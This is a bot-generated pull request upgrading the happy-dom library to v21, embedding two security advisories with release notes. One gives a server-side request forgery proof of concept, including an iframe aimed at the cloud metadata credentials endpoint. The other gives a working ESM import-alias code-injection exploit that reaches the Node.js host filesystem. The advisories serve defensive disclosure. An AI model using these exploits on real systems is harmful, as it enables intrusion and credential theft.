deps(deps): update dependency happy-dom to v21 #734

Closed
renovate-bot wants to merge 1 commit from renovate/major-happy-dom-monorepo into develop
Collaborator

This PR contains the following updates:

Package Change Age Confidence
happy-dom 20.14.6 → 21.0.4 age confidence

CVE-2026-118660 / GHSA-c8p4-j97h-3vg8

More information

Details

Summary

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions
  • happy-dom <= 20.8.9 (latest)
Vulnerable Behavior

By default, happy-dom has:

  • disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests
  • disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept
Verified test (attacker server receives requests):
const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF — happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF — happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});

Test output:

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario:
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
Impact
  • Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
  • Internal network scanning — probe internal services and ports
  • Data exfiltration — read responses from internal APIs
  • Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix

Change defaults to disable external resource loading:

disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

CVE-2026-115895 / GHSA-834v-8h66-3h79

More information

Details

Summary

The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.

These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.

Confirmed affected versions

The PoC was directly tested against:

  • happy-dom@17.0.0
  • happy-dom@20.0.0
  • happy-dom@20.1.0
  • happy-dom@20.14.5

The same PoC does not trigger on happy-dom@16.8.1.

The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.

Suggested affected range:

>= 17.0.0, <= 20.14.5

No patched version is currently available.

Preconditions
  • JavaScript evaluation is enabled with enableJavaScriptEvaluation: true.
  • Attacker-controlled HTML or module source is processed by Happy DOM.
  • This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:

const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Consider the following source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

This is invalid ECMAScript module syntax. Node.js rejects it at the = token.

Happy DOM instead transforms it into the equivalent of:

let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.

The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.

1. Create package.json
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}
2. Create dep.json
{}
3. Create payload.mjs

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
5. Run the control test
npm install
node --check payload.mjs

Expected result:

SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC
node poc.mjs

Expected result:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

/poc/HAPPY_DOM_RCE_PROOF
Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

export { attacker_expression }

Its fix added identifier validation to the importName used by the export { ... } handler:

if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

This report uses a different parsing and code-generation path:

import { name as malicious_alias } from './module';

The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.

Suggested fix

Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:

- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.

Verification record
  • Testing date: 2026-09-17
  • Duplicate check updated: 2026-09-20
  • Platform: Windows 11
  • Node.js: 24.14.1
  • Latest tested package: happy-dom@20.14.5
  • Source tag: v20.14.5
  • Source commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
  • First confirmed affected version: 17.0.0
  • Confirmed unaffected version: 16.8.1
  • Docker environment: Node 24 Alpine
  • No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

capricorn86/happy-dom (happy-dom)

v21.0.4

Compare Source

👷‍♂️ Patch fixes
  • Fixed a code injection vulnerability in the ESM compiler - By @​capricorn86
  • Fixed cross-origin isolation so opaque-origin data: iframes cannot access their parent or top window - By @​capricorn86

v21.0.3

Compare Source

👷‍♂️ Patch fixes
  • Fixes security vulnerability where authorization header was forwarded when redirecting - By @​capricorn86

v21.0.2

Compare Source

👷‍♂️ Patch fixes

v21.0.1

Compare Source

👷‍♂️ Patch fixes

v21.0.0

Compare Source

💣 Breaking Changes
  • Disables CSS and IFrame loading by default to prevent server-side request forgery (SSRF) - By @​capricorn86
    • An attacker could embed <iframe> or <link rel="stylesheet"> elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access.
    • The settings property disableCSSFileLoading has been deprecated
    • Added the new settings properties enableCSSFileLoading and enableIframePageLoading
    • If you don't believe that you are at risk, you can keep the same behavior as in <=v20.14.6 by sending in { enableCSSFileLoading: true, enableIframePageLoading: true } as broswer settings (e.g. new Window({ settings }));

Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [happy-dom](https://github.com/capricorn86/happy-dom) | [`20.14.6` → `21.0.4`](https://renovatebot.com/diffs/npm/happy-dom/20.14.6/21.0.4) | ![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/21.0.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.14.6/21.0.4?slim=true) | --- ### Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML [CVE-2026-118660](https://nvd.nist.gov/vuln/detail/CVE-2026-118660) / [GHSA-c8p4-j97h-3vg8](https://github.com/advisories/GHSA-c8p4-j97h-3vg8) <details> <summary>More information</summary> #### Details ##### Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements. ##### Affected Versions - happy-dom <= 20.8.9 (latest) ##### Vulnerable Behavior By default, happy-dom has: - `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests - `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed. ##### Proof of Concept ##### Verified test (attacker server receives requests): ```javascript const http = require('http'); const { Window } = require('happy-dom'); // Start attacker server const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); }); srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>'); // stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); }); ``` **Test output:** ``` SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf ``` Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS. ##### Cloud metadata attack scenario: ```javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' }); // Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>'); ``` ##### Impact - **Cloud credential theft** — `<iframe src="http://169.254.169.254/...">` fetches AWS/GCP/Azure metadata - **Internal network scanning** — probe internal services and ports - **Data exfiltration** — read responses from internal APIs - **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input ##### Suggested Fix Change defaults to disable external resource loading: ```javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false ``` Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching. #### Severity - CVSS Score: 8.6 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` #### References - [https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8](https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8) - [https://github.com/capricorn86/happy-dom/pull/2502](https://github.com/capricorn86/happy-dom/pull/2502) - [https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74](https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74) - [https://github.com/capricorn86/happy-dom](https://github.com/capricorn86/happy-dom) - [https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0](https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c8p4-j97h-3vg8) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution [CVE-2026-115895](https://nvd.nist.gov/vuln/detail/CVE-2026-115895) / [GHSA-834v-8h66-3h79](https://github.com/advisories/GHSA-834v-8h66-3h79) <details> <summary>More information</summary> #### Details ##### Summary The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed. This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context. These issues were confirmed through the public `Window` and `<script type="module">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem. ##### Confirmed affected versions The PoC was directly tested against: - `happy-dom@17.0.0` - `happy-dom@20.0.0` - `happy-dom@20.1.0` - `happy-dom@20.14.5` The same PoC does not trigger on `happy-dom@16.8.1`. The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing. Suggested affected range: ```text >= 17.0.0, <= 20.14.5 ``` No patched version is currently available. ##### Preconditions - JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`. - Attacker-controlled HTML or module source is processed by Happy DOM. - This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML. ##### Technical details In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias: ```ts const nameParts = part.trim().split(/\s+as\s+/); const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const name = nameParts[0].replace(/["']/g, ''); if (alias && name) { properties.push({ name, alias }); } ``` Unlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier. It is subsequently inserted directly into generated binding syntax: ```ts newCodeStart += `let {${properties .map((property) => property.alias ? `"${property.name}": ${property.alias}` : property.name ) .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`; ``` Consider the following source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token. Happy DOM instead transforms it into the equivalent of: ```js let { "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } = $happy_dom.imports.get('https://poc.local/dep.json'); ``` This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes. The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports: ```ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); } ``` Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid. Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs: ```js globalThis.constructor.constructor(`return process`)() .getBuiltinModule(`node:fs`) .mkdirSync( globalThis.constructor.constructor(`return process`)().cwd() + `/HAPPY_DOM_RCE_PROOF` ) ``` ##### Proof of concept The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`. ##### 1. Create `package.json` ```json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } } ``` ##### 2. Create `dep.json` ```json {} ``` ##### 3. Create `payload.mjs` This file is used as a control to demonstrate that a native ECMAScript parser rejects the source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` ##### 4. Create `poc.mjs` ```js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path'; const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF'); rmSync(proofDirectory, { recursive: true, force: true }); const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } }); const script = window.document.createElement('script'); script.type = 'module'; script.textContent = ` import { missing as injected = globalThis.constructor.constructor(\`return process\`)() .getBuiltinModule(\`node:fs\`) .mkdirSync( globalThis.constructor.constructor(\`return process\`)().cwd() + \`/HAPPY_DOM_RCE_PROOF\` ) } from './dep.json' with { type: 'json' }; `; window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete(); if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log(`[+] Host filesystem reached: ${proofDirectory}`); } await window.happyDOM.close(); ``` ##### 5. Run the control test ```console npm install node --check payload.mjs ``` Expected result: ```text SyntaxError: Unexpected token '=' ``` This confirms that the source is not valid ESM. ##### 6. Run the Happy DOM PoC ```console node poc.mjs ``` Expected result: ```text [+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF ``` The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem. The PoC was also verified inside a `node:24-alpine` Docker container, where it created: ```text /poc/HAPPY_DOM_RCE_PROOF ``` ##### Impact An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript. This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected. The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process. ##### Relationship to CVE-2026-33943 CVE-2026-33943 covers expression injection through a local export declaration: ```js export { attacker_expression } ``` Its fix added identifier validation to the `importName` used by the `export { ... }` handler: ```ts if ( exportName && importName && VALID_VARIABLE_NAME_REGEXP.test(importName) ) { // ... } ``` This report uses a different parsing and code-generation path: ```js import { name as malicious_alias } from './module'; ``` The unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943. The issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`. ##### Suggested fix Validate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused: ```diff - if (alias && name) { + if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) { ``` A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated. This change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors. For additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation. ##### Verification record - Testing date: 2026-09-17 - Duplicate check updated: 2026-09-20 - Platform: Windows 11 - Node.js: `24.14.1` - Latest tested package: `happy-dom@20.14.5` - Source tag: `v20.14.5` - Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318` - First confirmed affected version: `17.0.0` - Confirmed unaffected version: `16.8.1` - Docker environment: Node 24 Alpine - No matching public advisory, issue, pull request, commit, or release was found during the duplicate check. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79](https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79) - [https://github.com/capricorn86/happy-dom/pull/2537](https://github.com/capricorn86/happy-dom/pull/2537) - [https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13](https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13) - [https://github.com/capricorn86/happy-dom](https://github.com/capricorn86/happy-dom) - [https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4](https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-834v-8h66-3h79) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>capricorn86/happy-dom (happy-dom)</summary> ### [`v21.0.4`](https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4) [Compare Source](https://github.com/capricorn86/happy-dom/compare/v21.0.3...v21.0.4) ##### :construction\_worker\_man: Patch fixes - Fixed a code injection vulnerability in the ESM compiler - By **[@&#8203;capricorn86](https://github.com/capricorn86)** - Fixed cross-origin isolation so opaque-origin `data:` iframes cannot access their parent or top window - By **[@&#8203;capricorn86](https://github.com/capricorn86)** ### [`v21.0.3`](https://github.com/capricorn86/happy-dom/releases/tag/v21.0.3) [Compare Source](https://github.com/capricorn86/happy-dom/compare/v21.0.2...v21.0.3) ##### :construction\_worker\_man: Patch fixes - Fixes security vulnerability where authorization header was forwarded when redirecting - By **[@&#8203;capricorn86](https://github.com/capricorn86)** ### [`v21.0.2`](https://github.com/capricorn86/happy-dom/releases/tag/v21.0.2) [Compare Source](https://github.com/capricorn86/happy-dom/compare/v21.0.1...v21.0.2) ##### :construction\_worker\_man: Patch fixes - Fixes SSRF security vulnerability by doing a target-origin bypass in the proxy server in [@&#8203;happy-dom/server-renderer](https://github.com/capricorn86/happy-dom/wiki/Server-Renderer) - By **[@&#8203;capricorn86](https://github.com/capricorn86)** ### [`v21.0.1`](https://github.com/capricorn86/happy-dom/releases/tag/v21.0.1) [Compare Source](https://github.com/capricorn86/happy-dom/compare/v21.0.0...v21.0.1) ##### :construction\_worker\_man: Patch fixes - Adds aliases `--css` and `--iframe` for enabling CSS and iframe loading to [@&#8203;happy-dom/server-renderer](https://github.com/capricorn86/happy-dom/wiki/Server-Renderer) - By **[@&#8203;capricorn86](https://github.com/capricorn86)** ### [`v21.0.0`](https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0) [Compare Source](https://github.com/capricorn86/happy-dom/compare/v20.14.6...v21.0.0) ##### :bomb: Breaking Changes - Disables CSS and IFrame loading by default to prevent [server-side request forgery (SSRF)](https://en.wikipedia.org/wiki/Server-side_request_forgery) - By **[@&#8203;capricorn86](https://github.com/capricorn86)** - An attacker could embed `<iframe>` or `<link rel="stylesheet">` elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access. - The settings property `disableCSSFileLoading` has been deprecated - Added the new settings properties [enableCSSFileLoading](https://github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties) and [enableIframePageLoading](https://github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties) - If you don't believe that you are at risk, you can keep the same behavior as in `<=v20.14.6` by sending in `{ enableCSSFileLoading: true, enableIframePageLoading: true }` as [broswer settings](https://github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) (e.g. `new Window({ settings })`); </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Berlin) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC40MS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNDEuMSIsInRhcmdldEJyYW5jaCI6ImRldmVsb3AiLCJsYWJlbHMiOlsicmVub3ZhdGUiLCJzZWN1cml0eSJdfQ==-->
deps(deps): update dependency happy-dom to v21
All checks were successful
renovate/stability-days Updates have met minimum release age requirement
Grinder Container IT / containers (push) Successful in 7m33s
Qodana / scan (push) Successful in 10m46s
Test / Docker image (push) Successful in 11m5s
Test / build (push) Successful in 36m15s
Qodana / notify (push) Successful in 55s
9447d7c90e
Griefed closed this pull request 2026-11-01 21:19:48 +01:00
All checks were successful
renovate/stability-days Updates have met minimum release age requirement
Grinder Container IT / containers (push) Successful in 7m33s
Qodana / scan (push) Successful in 10m46s
Test / Docker image (push) Successful in 11m5s
Test / build (push) Successful in 36m15s
Qodana / notify (push) Successful in 55s

Pull request closed

Sign in to join this conversation.
No reviewers
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference
Griefed/ServerPackCreator!734
No description provided.